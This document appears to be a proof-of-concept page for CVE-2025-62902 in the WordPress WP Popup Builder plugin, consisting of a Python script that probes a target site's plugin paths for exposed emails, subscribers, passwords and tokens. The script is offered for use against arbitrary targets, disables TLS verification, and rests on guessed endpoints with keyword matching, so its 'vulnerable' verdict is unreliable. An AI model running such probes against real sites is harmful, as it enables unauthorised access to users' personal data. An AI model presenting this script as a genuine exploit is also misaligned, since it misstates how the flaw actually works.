CVE-2025-62902 WordPress WP Popup Builder敏感信息泄露漏洞

# CVE-2025-62902 PoC - WP Popup Builder Sensitive Information Exposure # This PoC demonstrates the information disclosure vulnerability import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-62902 """ # Common endpoints that might expose sensitive data endpoints = [ '/wp-content/plugins/wp-popup-builder/', '/wp-json/wp-popup-builder/', '/wp-admin/admin-ajax.php?action=get_popup_data', '/wp-content/uploads/wp-popup-builder/', '/wp-json/api/get_popup_subscribers' ] vulnerable = False for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: content = response.text # Check for sensitive data patterns if any(indicator in content.lower() for indicator in ['email', 'subscriber', 'password', 'api_key', 'token']): print(f'[+] Potential sensitive data found at: {url}') print(f'[+] Response length: {len(content)} bytes') vulnerable = True except requests.RequestException as e: print(f'[-] Error accessing {url}: {e}') return vulnerable if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-62902_poc.py <target_url>') print('Example: python cve-2025-62902_poc.py http://example.com') sys.exit(1) target = sys.argv[1] print(f'[*] Checking vulnerability CVE-2025-62902 on {target}') print(f'[*] Target: WP Popup Builder Plugin') if check_vulnerability(target): print('\n[!] Target appears to be vulnerable!') print('[!] Recommendation: Update WP Popup Builder to latest version') else: print('\n[*] No obvious vulnerability detected') print('[*] Manual verification recommended')